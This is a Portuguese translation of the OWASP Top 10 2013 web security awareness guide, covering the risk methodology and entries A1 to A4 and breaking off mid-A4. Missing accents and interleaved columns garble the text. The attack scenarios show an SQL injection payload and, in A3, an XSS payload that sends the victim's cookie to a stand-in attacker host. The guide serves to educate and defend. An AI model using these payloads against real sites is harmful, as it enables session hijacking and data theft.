BR Verso PT-BR
Notas
Esta verso do OWASP Top 10 foi
desenvolvida como parte integrante da
atividade conjunta dos captulos brasileiro
e portugus da OWASP, em prol da
comunidade de programadores e da
segurana das aplicaes desenvolvidas nos
pases de lngua portuguesa.
Este documento baseado na verso
OWASP Top 10 de 2013 e a traduo
pretende ser fiel ao texto original.
O Projeto OWASP em Lngua Portuguesa
pode ser acessado em:
https://www.owasp.org/index.php/OWASP_Portug
uese_Language_Project
Para saber mais sobre os eventos e
atividades desenvolvidas pelos captulos
brasileiro e portugus da OWASP, acesse as
pginas:
- https://www.owasp.org/index.php/Brazilian
- https://www.owasp.org/index.php/Portuguese
Participantes
Participaram da traduo os lderes do
Projeto OWASP em Lngua Portuguesa:
Carlos Serro (Portugal)
Marcio Machry (Brasil)
E os seguintes voluntrios:
caro Evangelista de Torres
Carlo Marcelo Revoredo da Silva
Luiz Vieira
Suely Ramalho de Mello
Jorge Olmpia
Daniel Quinto
Mauro Risonho de Paula Assumpo
Marcelo Lopes
Caio Dias
Rodrigo Gularte
 O Sobre a OWASP
Prefcio
O software inseguro est debilitando nossa infraestrutura
financeira, de sade, de defesa, de energia e outras
infraestruturas crticas. medida que nossa infraestrutura
digital fica cada vez mais complexa e interligada, a
dificuldade em obter segurana em aplicaes aumenta
exponencialmente. No podemos mais tolerar os problemas
de segurana relativamente simples, como os apresentados
nesta edio do OWASP Top 10.
O Top 10 tem como objetivo a sensibilizao sobre segurana
em aplicaes atravs da identificao de alguns dos riscos
mais crticos enfrentados pelas organizaes. O projeto Top
10 referenciado por muitas normas, livros, ferramentas e
organizaes, incluindo MITRE, PCI DSS, DISA, FTC, e muitas
outras. Esta verso do projeto Top 10 marca o dcimo
aniversrio dessa sensibilizao. O OWASP Top 10 foi lanado
inicialmente em 2003, tendo pequenas atualizaes em 2004
e em 2007. A verso de 2010 foi reformulada para priorizar
por risco, no somente por prevalncia. A verso 2013 segue
essa mesma abordagem.
A OWASP encoraja a utilizao do Top 10 para que as
organizaes comecem com segurana em suas aplicaes.
Os desenvolvedores podem aprender com os erros de outras
organizaes. Os executivos devem comear a pensar em
como gerenciar o risco que as aplicaes de software criam
em suas empresas.
A longo prazo, encorajamos a criao de um programa de
segurana em aplicaes compatvel com a cultura e
tecnologia da organizao. Estes programas podem existir
em qualquer tamanho e forma, e deve-se evitar seguir
apenas o que um determinado modelo prescreve. Ao invs
disso, deve-se aproveitar os pontos fortes da organizao
para quantificar e determinar o que funciona para a mesma.
Desejamos que o OWASP Top 10 seja til em seus esforos
de segurana em aplicaes. No deixe de contatar a OWASP
com suas perguntas, comentrios e outras ideias, seja
publicamente na owasp-topten@lists.owasp.org ou de forma
privada para dave.wichers@owasp.org.
Copyright e Licena
Copyright 2003 2013 The OWASP Foundation
Este documento publicado sob a licena Creative Commons Attribution ShareAlike 3.0. Para qualquer
tipo de reutilizao ou distribuio, os termos deste trabalho devero ser informados.
Sobre a OWASP
Open Web Application Security Project (OWASP) uma
comunidade aberta, dedicada a capacitar as organizaes a
desenvolver, adquirir e manter aplicaes confiveis. No
OWASP se pode encontrar, grtis e de forma aberta...
Normas e ferramentas de segurana em aplicaes
Livros completos sobre testes de segurana,
desenvolvimento de cdigo seguro e reviso de segurana
de cdigo
Normas e bibliotecas de controles de segurana
Captulos locais do OWASP pelo mundo
Pesquisas ltima gerao
Conferncias do OWASP pelo mundo
Listas de discusso.
Saiba mais em: https://www.owasp.org
Todos as ferramentas, documentos, fruns e captulos do
OWASP so grtis e abertos a todos os interessados em
aperfeioar a segurana em aplicaes. Promovemos a
abordagem da segurana em aplicaes como um problema
de pessoas, processos e tecnologia, porque as abordagens
mais eficazes em segurana de aplicaes requerem melhorias
nestas reas.
A OWASP um novo tipo de organizao. O fato de ser livre de
presses comerciais permite fornecer informao de
segurana de aplicaes imparcial, prtica e de custo eficiente.
A OWASP no filiada a nenhuma empresa de tecnologia,
apesar de apoiar o uso de tecnologia de segurana comercial.
Da mesma forma que muitos projetos de software de cdigo
aberto, a OWASP produz vrios tipos de materiais de maneira
colaborativa e aberta.
A Fundao OWASP uma entidade sem fins lucrativos que
garante o sucesso do projeto a longo prazo. Quase todos os
associados OWASP so voluntrios, incluindo a Direo da
OWASP, os Comits Globais, os Lderes dos Captulos, os
Lderes de Projetos e os membros dos projetos. Apoiamos a
pesquisa inovadora em segurana atravs de bolsas e
infraestrutura.
Junte-se a ns!
 I Introduo

Bem-vindo
Bem-vindo ao OWASP Top 10 2013! Esta atualizao amplia uma das categorias da verso 2010 para ser mais abrangente,
incluindo vulnerabilidades importantes, comuns, e reordena outras com base na mudana de dados de prevalncia. Ele tambm
traz a segurana de componentes para o centro das atenes criando uma categoria especfica para este risco, tirando-o da
obscuridade das letras midas do risco A6 de 2010: Configurao Incorreta de Segurana.
O OWASP Top 10 para 2013 baseado em 8 conjuntos de dados de 7 empresas que se especializam em segurana de aplicaes,
incluindo 4 consultorias and 3 fornecedores de ferramenta/Software as a Service (1 esttica, 1 dinmica, and 1 com ambas) .
Estes dados abrangem mais de 500.000 vulnerabilidades em centenas de organizaes e milhares de aplicaes. Os itens Top 10
so selcionados e priorizados de acordo com dados de prevalncia, em combinao com estimativas do consenso da explorao,
deteco e impacto.
O objetivo principal do OWASP Top 10 educar desenvolvedores, projetistas, arquitetos, gestores e organizaes sobre as
consequncias das mais importantes vulnerabilidades de segurana de aplicaes web. O Top 10 fornece tcnicas bsicas para se
proteger contra essas reas problemticas de alto risco e tambm fornece orientao sobre onde ir a partir daqui.

Avisos
No pare nos 10. Existem centenas de problemas que podem
afetar a segurana geral de uma aplicao web como
discutido no Guia do Desenvolvedor OWASP e na Srie de
Dicas OWASP. Estas so leituras essenciais para o
desenvolvimento de aplicaes web. Orientao sobre como
encontrar, de forma efetiva, vulnerabilidades em aplicaes
web fornecida no Guia de Testes OWASP e no Guia de
Reviso de Cdigo OWASP.
Mudana constante. Este Top 10 continuar sendo alterado.
Mesmo sem alterar uma linha de cdigo da sua aplicao, ela
poder ficar vulnervel a novas falhas que so descobertas e
mtodos de ataque que so refinados. Por favor, revise a
orientao no final deste documento em Prximos Passos
para Desenvolvedores, Verificadores e Organizaes para
maiores informaes.
Pense positivo. Quando voc estiver pronto para parar de
procurar vulnerabilidades e focar no estabelecimento de
fortes controles de segurana nas suas aplicaes, OWASP
produziu o Padro de Verificao de Segurana em
Applicaes (ASVS) como um guia de verificao para as
organizaes.
Use ferramentas de forma inteligente. Vulnerabilidades de
segurana podem ser bastante complexas e enterradas em
montanhas de cdigo. Em muitos casos, a abordagem com
melhor custo-benefcio para encontrar e eliminar estas
vulnerabilidades envolver especialistas armados com boas
ferramentas.
Mude de rumo. Concentre-se em tornar a segurana parte
integral da cultura de desenvolvimento da organizao.
Encontre mais no Modelo Aberto de Maturidade e Garantia
do Software (SAMM) and the Rugged Handbook.
Agradecimentos
Obrigado Aspect Security por iniciar, liderar e atualizar o
OWASP Top 10 desde sua concepo em 2003, e a seus
autores principais: Jeff Williams and Dave Wichers.
Gostaramos de agradecer s organizaes que contriburam
com seus dados de prevalncia para esta atualizao de 2013:
Aspect Security Estatsticas
HP Estatsticas from both Fortify and WebInspect
Minded Security Estatsticas
Softtek Estatsticas
Trustwave, SpiderLabs Estatsticas (See page 50)
Veracode Estatsticas
WhiteHat Security Inc. Estatsticas
Ns gostaramos de agradecer todos que contriburam com as
verses anteriores do Top 10. Sem estas contribuies, ele no
seria o que hoje. Tambm agradecemos aqueles que
contriburam com comentrios e tempo revisando esta
atualizao:
Adam Baso (Wikimedia Foundation)
Mike Boberski (Booz Allen Hamilton)
Torsten Gigler
Neil Smithline (MorphoTrust USA) Pela produo da
verso wiki do Top 10, e fornecendo feedback
E finalmente, agradecemos antecipadamente todos os
tradutores que iro traduzir esta verso do Top 10 em
inmeras linguagens diferentes, ajudando a torn-lo mais
acessvel no planeta inteiro.
 NV Notas da Verso

O que mudou de 2010 para 2013?

O cenrio de ameaas para a segurana das aplicaes muda constantemente. Os principais fatores dessa evoluo so os avanos feitos pelos
atacantes, o lanamento de novas tecnologias com novas vulnerabilidade, bem como a maior incorporao de defesas, e a implantao de
sistemas cada vez mais complexos. Para acompanhar esta evoluo, ns atualizamos periodicamente o OWASP Top 10. Nesta verso de 2013,
fizemos as seguintes alteraes:

1) Quebra de Autenticao e Gerenciamento de Sesso aumentou sua prevalncia em nossa base de dados. Acreditamos que isto
provavelmente ocorreu porque esta rea est sendo analisada rigorosamente, e no porque mais predominante. Isso resultou na troca
de posies entre os Riscos A2 e A3.

2) Cross-Site Request Forgery (CSRF) reduziu sua prevalncia em nossa base de dados de 2010-A5 para 2013-A8. Acreditamos que a causa
seja o fato do CSRF permanecer no OWASP Top 10 por 6 anos, e as organizaes e os frameworks de desenvolvimento concentraram-se
em reduzir significativamente o nmero de vulnerabilidades CSRF nas aplicaes.

3) Ampliamos a Falha na Restrio de Acesso a URL do OWASP Top 10 2010 para ser mais abrangente:

+ 2010-A8: Falha na Restrio de Acesso a URL agora 2013-A7: Falta de Funo para Controle do Nvel de Acesso cobrindo todas as
funes de controle do nvel de acesso. Existem muitas maneiras de especificar qual funo est sendo acessada, no apenas a URL.
4) Agrupamos e ampliamos 2010-A7 e 2010-A9 para CRIAR: 2013-A6:Exposio de Dados Sensveis:

Esta uma nova categoria criada com o agrupamento do 2010-A7 - Armazenamento Criptogrfico Inseguro e 2010-A9 - Proteo
Insuficiente no Nvel de Transporte, alm de adicionar riscos aos dados sensveis inseridos via navegador. Esta nova categoria abrange
proteo a dados sensveis (exceto controle de acesso que coberto pelos 2013-A4 e 2013-A7) a partir do momento que esses dados
so fornecidos pelo usurio, enviados e armazenados pela aplicao, e em seguida enviados novamente ao navegador.
5) Adicionamos: 2013-A9: Utilizao de Componentes Vulnerveis Conhecidos
+ Este assunto foi mencionado como parte do 2010-A6 - Configurao Incorreta de Segurana, mas agora possui uma categoria prpria
devido ao crescimento do desenvolvimento baseado em componentes, o que aumentou significativamente o risco de utilizao de
componentes vulnerveis conhecidos.

OWASP Top 10 2010 (Anterior) OWASP Top 10 2013 (Novo)

A1 Injeo de cdigo A1 Injeo de cdigo

A3 Quebra de autenticao e Gerenciamento de Sesso A2 Quebra de autenticao e Gerenciamento de Sesso

A2 Cross-Site Scripting (XSS) A3 Cross-Site Scripting (XSS)

A4 Referncia Insegura e Direta a Objetos A4 Referncia Insegura e Direta a Objetos

A6 Configurao Incorreta de Segurana A5 Configurao Incorreta de Segurana

A7 Armazenamento Criptogrfico Inseguro Agrupado

A6 Exposio de Dados Sensveis
com A9

A8 Falha na Restrio de Acesso a URL Ampliado para A7 Falta de Funo para Controle do Nvel de Acesso

A5 Cross-Site Request Forgery (CSRF) A8 Cross-Site Request Forgery (CSRF)

<Removido do A6: Configurao Incorreta de Segurana> A9 Utilizao de Componentes Vulnerveis Conhecidos

A10 Redirecionamentos e Encaminhamentos Invlidos A10 Redirecionamentos e Encaminhamentos Invlidos

A9 Proteo Insuficiente no Nvel de Transporte Agrupado com 2010-A7 criando o 2013-A6

 Riscos de Segurana em
Risco Aplicaes
O que so Riscos de Segurana em Aplicaes?
Os atacantes podem, potencialmente, usar vrios caminhos diferentes atravs da sua aplicao para causar danos ao seu negcio
ou organizao. Cada um desses caminhos representa um risco que pode, ou no, ser grave o suficiente para justificar a sua
ateno.

Threat Attack Security Security Technical Business

Agents Vectors Weaknesses Controls Impacts Impacts

Attack Weakness Control Impact

Asset
Attack Weakness Control Impact
Function
Attack Weakness Impact
Asset

Weakness Control

s vezes, esses caminhos so triviais para encontrar e explorar, e em outras, so extremamente difceis. Da mesma forma, o dano
causado pode ter nenhuma consequncia, ou pode acabar com o seu negcio. Para determinar o risco para a sua organizao,
voc pode avaliar a probabilidade associada a cada agente de ameaa, vetor de ataque, vulnerabilidade de segurana e combin-
la com uma estimativa dos impactos tcnico e no negcio da sua empresa. Juntos, esses fatores determinam o risco total.

Qual o Meu Risco? Referncias

O OWASP Top 10 tem seu foco na identificao dos riscos mais graves para uma
ampla gama de organizaes. Para cada um destes riscos, ns fornecemos
informaes genricas sobre a probabilidade de ocorrncia e impacto tcnico OWASP
usando o esquema simples de classificao abaixo, que se baseia na metodologia
de avaliao de riscos da OWASP (OWASP Risk Rating Methodology). OWASP Risk Rating Methodology
Impactos Article on Threat/Risk Modeling
Agentes Vetores de Prevalncia da Deteco Impactos
no
de Ameaa Ataque Vulnerabilidade Vulnerabilidade Tcnicos
Negcio
External
Fcil Generalizada Fcil Severo Especfico
Especfico
do FAIR Information Risk Framework
da Mdia Comum Mdia Moderado
Aplicao
Negcio/ Microsoft Threat Modeling (STRIDE
Difcil Rara Difcil Pequeno Aplicao and DREAD)
Somente voc sabe os detalhes do seu ambiente e negcio. Para qualquer
aplicao, pode no haver um agente de ameaa que possa executar um ataque
relevante, ou o impacto tcnico pode no fazer nenhuma diferena para o seu
negcio. Portanto, voc deve avaliar cada risco, focando nos agentes de ameaa,
controles de segurana e impactos no negcio de sua empresa. Ns listamos
Agentes de Ameaa como Especficos da Aplicao, e Impactos no Negcio como
Especficos do Negcio/Aplicao para indicar que estes so claramente
dependentes dos detalhes sobre a sua aplicao em sua empresa.
Os nomes dos riscos no Top 10 derivam-se do tipo de ataque, do tipo de
vulnerabilidade, ou do tipo de impacto causado. Escolhemos nomes que refletem
com preciso os riscos e, quando possvel, alinham-se com a terminologia mais
provvel para auxiliar na conscientizao das pessoas.
 OWASP Top 10 Riscos de
T10 Segurana em Aplicaes 2013
As falhas de Injeo, tais como injeo de SQL, de SO (Sistema Operacional) e de LDAP, ocorrem quando
dados no confiavis so enviados para um interpretador como parte de um comando ou consulta. Os
A1 Injeo dados manipulados pelo atacante podem iludir o interpretador para que este execute comandos
indesejados ou permita o acesso a dados no autorizados.

A2 Quebra de
Autenticao e As funes da aplicao relacionadas com autenticao e gerenciamento de sesso geralmente so
implementadas de forma incorreta, permitindo que os atacantes comprometam senhas, chaves e tokens de
Gerenciamento de sesso ou, ainda, explorem outra falha da implementao para assumir a identidade de outros usurios.
Sesso

A3 Cross-Site Falhas XSS ocorrem sempre que uma aplicao recebe dados no confiveis e os envia ao navegador sem
validao ou filtro adequados. XSS permite aos atacantes executarem scripts no navegador da vtima que
Scripting (XSS) podem sequestrar sesses do usurio, desfigurar sites, ou redirecionar o usurio para sites maliciosos.

A4 Referncia Uma referncia insegura e direta a um objeto ocorre quando um programador expe uma referncia
implementao interna de um objeto, como um arquivo, diretrio, ou registro da base de dados. Sem a
Insegura e Direta a verificao do controle de acesso ou outra proteo, os atacantes podem manipular estas referncias para
Objetos acessar dados no-autorizados.

A5 Configurao Uma boa segurana exige a definio de uma configurao segura e implementada na aplicao,
frameworks, servidor de aplicao, servidor web, banco de dados e plataforma. Todas essas configuraes
Incorreta de devem ser definidas, implementadas e mantidas, j que geralmente a configurao padro insegura.
Segurana Adicionalmente, o software deve ser mantido atualizado.

Muitas aplicaes web no protegem devidamente os dados sensveis, tais como cartes de crdito, IDs
A6 Exposio de fiscais e credenciais de autenticao. Os atacantes podem roubar ou modificar esses dados desprotegidos
com o propsito de realizar fraudes de cartes de crdito, roubo de identidade, ou outros crimes. Os dados
Dados Sensveis sensveis merecem proteo extra como criptografia no armazenamento ou em trnsito, bem como
precaues especiais quando trafegadas pelo navegador.

A7 Falta de A maioria das aplicaes web verificam os direitos de acesso em nvel de funo antes de tornar essa
Funo para funcionalidade visvel na interface do usurio. No entanto, as aplicaes precisam executar as mesmas
verificaes de controle de acesso no servidor quando cada funo invocada. Se estas requisies no
Controle do Nvel forem verificadas, os atacantes sero capazes de forjar as requisies, com o propsito de acessar a
de Acesso funcionalidade sem autorizao adequada.

A8 Cross-Site Um ataque CSRF fora a vtima que possui uma sesso ativa em um navegador a enviar uma requisio
HTTP forjada, incluindo o cookie da sesso da vtima e qualquer outra informao de autenticao includa
Request Forgery na sesso, a uma aplicao web vulnervel. Esta falha permite ao atacante forar o navegador da vtima a
(CSRF) criar requisies que a aplicao vulnervel aceite como requisies legtimas realizadas pela vtima.

A9 Utilizao de Componentes, tais como bibliotecas, frameworks, e outros mdulos de software quase sempre so
Componentes executados com privilgios elevados. Se um componente vulnervel explorado, um ataque pode causar
srias perdas de dados ou o comprometimento do servidor. As aplicaes que utilizam componentes com
Vulnerveis vulnerabilidades conhecidas podem minar as suas defesas e permitir uma gama de possveis ataques e
Conhecidos impactos.

A10 Aplicaes web frequentemente redirecionam e encaminham usurios para outras pginas e sites, e usam
Redirecionamentos dados no confiveis para determinar as pginas de destino. Sem uma validao adequada, os atacantes
e Encaminhamen- podem redirecionar as vtimas para sites de phishing ou malware, ou usar encaminhamentos para acessar
pginas no autorizadas.
tos Invlidos
 A1 Injeo
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao FCIL COMUM MDIA SEVERO Negcio / Aplicao
Considere algum que Atacante envia ataques Falhas de injeo ocorrem quando uma aplicao Injeo pode resultar em Considere o valor de
possa enviar dados no- simples baseados em envia dados no-confiveis para um interpretador. perda ou corrupo de negcio dos dados
confiveis para o texto que exploram a Falhas de injeo esto muito predominantes, dados, falta de afetados e a plataforma
sistema, incluindo sintaxe do interpretador particularmente em cdigos legados. Elas responsabilizao, ou de execuo do
usurios externos, alvo. Praticamente geralmente so encontradas em consultas SQL, negao de acesso. interpretador. Todos os
usurios internos, e qualquer fonte de dados LDAP, Xpath ou NoSQL; comandos do SO; Algumas vezes, a injeo dados podem ser
administradores. pode ser um vetor de analisadores XML; cabealhos SMTP; argumentos do pode levar ao roubados, modificados,
injeo, incluindo fontes programa, etc. Falhas de injeo so fceis de comprometimento ou excludos. A sua
internas. descobrir ao examinar o cdigo, mas completo do servidor. reputao poderia ser
frequentemente difceis de descobrir atravs de afetada?
testes. Escaneadores e fuzzers podem ajudar
atacantes a encontrar falhas de injeo.

Estou vulnervel? Como fao para evitar?

A melhor forma para descobrir se uma aplicao est vulnervel injeo Preveno de injeo requer manter os dados no confiveis separados dos
verificar se todos os usos dos interpretadores separam claramente os dados
no-confiveis do comando ou consulta. Para chamadas SQL, isso significa
utilizar variveis de ligao em todas as instrues preparadas e
procedimentos armazenados, e evitar consultas dinmicas.
Verificar o cdigo uma forma rpida e precisa de identificar se a aplicao
utiliza os interpretadores seguramente. Ferramentas de anlise de cdigo
podem ajudar o analista de segurana a encontrar o uso dos interpretadores
e traar o fluxo de dados atravs da aplicao. Testes de invaso podem
validar estas questes atravs da elaborao de exploits que confirmam a
vulnerabilidade.
Varredura dinmica automatizada que exercite a aplicao pode fornecer
uma viso caso exista alguma falha explorvel de injeo. Escaneadores nem
sempre podem alcanar os interpretadores e tem dificuldade em detectar se
um ataque foi bem sucedido. Tratamento de erros fraco torna as falhas de
injeo fceis de descobrir.
comandos e consultas.
1. A opo preferida utilizar uma API segura que evite o uso do
interpretador inteiramente ou fornea uma interface parametrizada.
Seja cuidadoso com APIs, assim como procedimentos armazenados,
que so parametrizados, mas podem ainda introduzir injeo por
debaixo dos panos.
2. Se uma API parametrizada no estiver disponvel, voc deve
cuidadosamente filtrar os caracteres especiais utilizando a sintaxe para
esse interpretador. OWASPs ESAPI fornece muitas dessas rotinas de
filtragem.
3. Lista branca" ou validao de entrada positiva tambm
recomendada, mas no uma defesa completa j que muitas
aplicaes requerem caracteres especiais em suas entradas. Se os
caracteres especiais so exigidos, somente as abordagens 1. e 2. acima
tornaro a sua utilizao segura. OWASPs ESAPI tem uma extensa
biblioteca de rotinas de validao de entradas por lista branca.

Exemplos de Cenrios de Ataque Referncias

Cenrio #1: A aplicao utiliza dados no confiveis na construo da OWASP
seguinte chamada SQL vulnervel:
OWASP SQL Injection Prevention Cheat Sheet
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'"; OWASP Query Parameterization Cheat Sheet
Cenrio #2: De forma similar, uma aplicao confiar cegamente nos OWASP Command Injection Article
frameworks pode resultar em consultas que continuam vulnerveis, (ex.,
linguagem de consulta Hibernate (HQL)):
OWASP XML eXternal Entity (XXE) Reference Article
Query HQLQuery = session.createQuery(FROM accounts ASVS: Output Encoding/Escaping Requirements (V6)
WHERE custID=' + request.getParameter("id") + "'"); OWASP Testing Guide: Chapter on SQL Injection Testing
Em ambos os casos, o atacante modifica o valor do parmetro id em seu Externas
navegador para enviar: ' or '1'='1. Por exemplo:
http://example.com/app/accountView?id=' or '1'='1 CWE Entry 77 on Command Injection
Isso muda o significado de ambas as consultas para retornar todos os CWE Entry 89 on SQL Injection
registros da tabela de contas. Ataques mais perigosos poderiam modificar CWE Entry 564 on Hibernate Injection
dados ou at mesmo chamar procedimentos armazenados.
 Quebra de Autenticao e
A2 Gerenciamento de Sesso
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao MDIA GENERALIZADA MDIA SEVERO Negcio / Aplicao

Considere atacantes Atacante usa Os desenvolvedores frequentemente Tais falhas podem Considere o valor de
externos annimos, vazamentos ou falhas implementam a autenticao e gerenciamento permitir que algumas negcio dos dados ou
ou mesmo usurios nas funes de de sesso em suas aplicaes de forma ou mesmo todas as funes da aplicao
autenticados, que autenticao ou personalizada, mas a implementao correta contas sejam afetados. Tambm
podem tentar roubar gerenciamento de difcil. Como resultado, esses esquemas atacadas. Uma vez considere o impacto
contas de outros sesso (por exemplo, personalizados frequentemente possuem bem sucedido, o no negcio atravs da
usurios. Considere contas expostas, falhas em reas do sistema como logout, atacante pode fazer exposio pblica da
tambm usurios senhas, IDs de sesso) gesto de senhas, tempo de expirao, qualquer coisa que a vulnerabilidade.
internos que desejam para assumir a "lembrar senha", pergunta secreta, atualizar vtima faria. Contas
disfarar suas aes. identidade de outro conta, etc. Algumas vezes, encontrar essas privilegiadas so alvos
usurio. falhas pode ser difcil j que cada frequentes.
implementao nica.

Estou vulnervel? Como fao para evitar?

Os ativos de gerenciamento de sesso, como credenciais do usurio e IDs de
sesso, so protegidos adequadamente? Voc pode estar vulnervel se:
1. As credenciais de autenticao de usurio no esto protegidas
utilizando hash ou criptografia, quando armazenadas. Ver A6.
2. As credenciais podem ser descobertas atravs de fracas funes de
gerenciamento de contas (por exemplo, criao de conta, alterao de
senha, recuperao de senha, IDs de sesso fracos).
3. IDs de sesso so expostos na URL (por exemplo, reescrita de URL).
4. IDs de sesso so vulnerveis a ataques de fixao de sesso.
5. IDs de sesso no expiram, ou sesses de usurio ou tokens de
autenticao, particularmente aqueles baseados em single sign-on
(SSO), e no so devidamente invalidados durante o logout.
6. IDs de sesso no so rotacionados aps o login bem-sucedido.
7. Senhas, IDs de sesso, e outras credenciais so enviadas atravs de
conexes no criptografadas. Ver A6.
Veja as reas de exigncia V2 e V3 do ASVS para mais detalhes.
A recomendao principal para uma organizao disponibilizar aos
desenvolvedores:
1. Um conjunto nico de controles fortes de autenticao e
gerenciamento de sesso. Tais controles devem procurar:
a) Cumprir todos os requisitos de autenticao e
gerenciamento de sesso definidos no Padro de
Verificao de Segurana da Aplicao do OWASP (ASVS),
reas V2 (Autenticao) e V3 (Gerenciamento de Sesso).
b) ter uma interface simples para os desenvolvedores.
Considere o ESAPI Authenticator e User APIs como bons
exemplos para simular, usar ou construir como base.
2. Grandes esforos tambm deve ser feitos para evitar falhas de
XSS que podem ser utilizados para roubar os IDs de sesso. Ver
A3.

Exemplos de Cenrios de Ataque Referncias

Cenrio # 1: Uma aplicao de reservas de passagens areas suporta
reescrita de URL, colocando IDs de sesso na URL:
http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSK
HCJUN2JV?dest=Hawaii
Um usurio autenticado do site quer deixar seus amigos saberem
sobre a venda. Ele envia um e-mail do link acima sem saber que com
isso tambm est enviando a sua ID da sesso. Quando seus amigos
utilizarem o link, iro usar sua sesso e carto de crdito.
Cenrio # 2: O tempo de expirao da aplicao no est definido
corretamente. O usurio utiliza um computador pblico para acessar
o site. Em vez de selecionar logout o usurio simplesmente fecha a
aba do navegador e vai embora. O atacante usa o mesmo navegador
uma hora mais tarde, e esse navegador ainda est autenticado.
Cenrio # 3: Atacante interno ou externo ganha acesso ao banco de
dados de senhas do sistema. Senhas de usurios no esto utilizan-
do hash, expondo assim todas as senhas dos usurios ao atacante.
OWASP
Para um conjunto mais completo de requisitos e problemas a
evitar nesta rea, consulte as reas de requisitos ASVS para
autenticao (V2) e gerenciamento de sesso (V3).
OWASP Authentication Cheat Sheet
OWASP Forgot Password Cheat Sheet
OWASP Session Management Cheat Sheet
OWASP Development Guide: Chapter on Authentication
OWASP Testing Guide: Chapter on Authentication
Externas
CWE Entry 287 on Improper Authentication
CWE Entry 384 on Session Fixation
 A3 Cross-Site Scripting (XSS)
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao MDIA MUITO DIFUNDIDA FCIL MODERADO Negcio / Aplicao
Considere algum que Os atacantes enviam XSS a mais predominante falha de segurana em Atacantes podem Considere o valor do
possa enviar dados no- ataques de script aplicaes web. As falhas de XSS ocorrem quando executar scripts no negcio do sistema
confiveis para o baseado em texto que uma aplicao inclui os dados fornecidos pelo navegador da vtima afetado e todos os dados
sistema, incluindo exploram o usurio na pgina, enviados ao navegador, sem a para sequestrar sesses que processa.
usurios externos, interpretador no validao ou filtro apropriados desse contedo. do usurio, desfigurar
usurios internos, e navegador. Quase Existem trs tipos conhecidos de falhas XSS: 1) web sites, inserir Tambm considere o
impacto no negcio da
administradores. qualquer fonte de dados Persistente, 2) Refletido, e 3) XSS baseado em DOM. contedo hostil,
pode ser um vetor de redirecionar usurios, exposio pblica da
ataque, incluindo fontes A deteco da maioria das falhas XSS bastante fcil seqestrar o navegador vulnerabilidade.
via testes ou anlise de cdigo.
internas como dados do usando malware, etc.
banco de dados.

Estou vulnervel? Como fao para evitar?

Voc est vulnervel se no garantir que todas as entradas
fornecidas pelos usurios sejam apropriadamente filtradas, ou voc
no verifica que elas sejam seguras via validao de entrada, antes
de incluir essa entrada na pgina de sada. Sem o adequado filtro ou
validao da sada, tal entrada ser tratada como contedo ativo no
navegador. Se o Ajax est sendo usado para atualizar a pgina
dinamicamente, voc est usando APIS seguras do JavaScript? Para
APIS inseguras, codificao ou validao tambm devem ser usadas.
Ferramentas automatizadas podem encontrar alguns problemas de
XSS automaticamente. Porm, cada aplicao constri pginas de
sada diferentemente e utiliza diferentes interpretadores no lado do
navegador como JavaScript, ActiveX, Flash, e Silverlight, criando
dificuldades para a deteco automtica. Portanto, uma cobertura
completa exige uma combinao de reviso manual de cdigo e
teste de invaso, alm das abordagens automatizadas.
Tecnologias Web 2.0, como Ajax, tornam o XSS muito mais difcil de
detectar via ferramentas automatizadas.
Evitar XSS requer a separao do dado no-confivel do contedo
ativo no navegador.
1. A opo apropriada filtrar adequadamente todos os dados
no-confiveis com base no contexto HTML (corpo, atributo,
JavaScript, CSS ou URL) no qual os dados sero colocados. Veja
o OWASP XSS Prevention Cheat Sheet para detalhes sobre os
requisitos das tcnicas de filtro de dados.
2. Lista branca" ou validao de entrada positiva tambm
recomendada pois ajuda a proteger contra XSS, mas no uma
defesa completa, j que muitas aplicaes requerem caracteres
especiais em sua entrada. Tal validao deve, tanto quanto
possvel, validar o tamanho, caracteres, formato, e as regras de
negcio sobre os dados antes de aceitar a entrada.
3. Para contedo rico considere bibliotecas de auto-sanitizao
como OWASP's AntiSamy ou o Java HTML Sanitizer Project.
4. Considere a Content Security Policy (CSP) para se defender
contra XSS em todo o seu site.

Exemplo de Cenrio de Ataque Referncias

A aplicao utiliza dados no-confiveis na construo do OWASP
seguinte fragmento HTML sem validao ou filtro:
OWASP XSS Prevention Cheat Sheet
(String) page += "<input name='creditcard' type='TEXT
value='" + request.getParameter("CC") + "'>"; OWASP DOM based XSS Prevention Cheat Sheet
OWASP Cross-Site Scripting Article
O atacante modifica o parmetro 'CC' em seu navegador
para: ESAPI Encoder API
'><script>document.location= ASVS: Output Encoding/Escaping Requirements (V6)
'http://www.attacker.com/cgi-bin/cookie.cgi? OWASP AntiSamy: Sanitization Library
foo='+document.cookie</script>'.
Testing Guide: 1st 3 Chapters on Data Validation Testing
Isso causa o envio do ID de sesso da vtima para o site do
atacante, permitindo que o atacante sequestre a sesso atual OWASP Code Review Guide: Chapter on XSS Review
do usurio. OWASP XSS Filter Evasion Cheat Sheet
Note que o atacante tambm pode usar o XSS para anular Externas
qualquer defesa automtica de CSRF que a aplicao possa
empregar. Veja o A8 para informaes sobre CSRF. CWE Entry 79 on Cross-Site Scripting
 Referncia Insegura e Direta a
A4 Objetos
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao FCIL COMUM FCIL MODERADO Negcio / Aplicao

Considere o tipo dos O atacante, que um Aplicaes freqentemente usam o nome real Tais falhas podem Considere o valor de
usurios do seu usurio autorizado do ou a chave de um objeto ao gerar pginas web. comprometer todos negcio dos dados
sistema. Qualquer sistema, Aplicaes nem sempre verificam se o usurio os dados que podem expostos.
usurio tem somente simplesmente muda o autorizado para o objeto alvo. Isto resulta ser referenciados pelo
acesso parcial a valor de um numa falha de referncia insegura e direta a parmetro. A menos Tambm considere o
determinados tipos de parmetro que se um objeto. Testadores podem facilmente que as referncias a impacto ao negcio da
dados do sistema? refere diretamente a manipular valores de parmetros para detectar objetos sejam exposio pblica da
um objeto do sistema tal falha. Anlise de cdigo rapidamente imprevisveis, fcil vulnerabilidade.
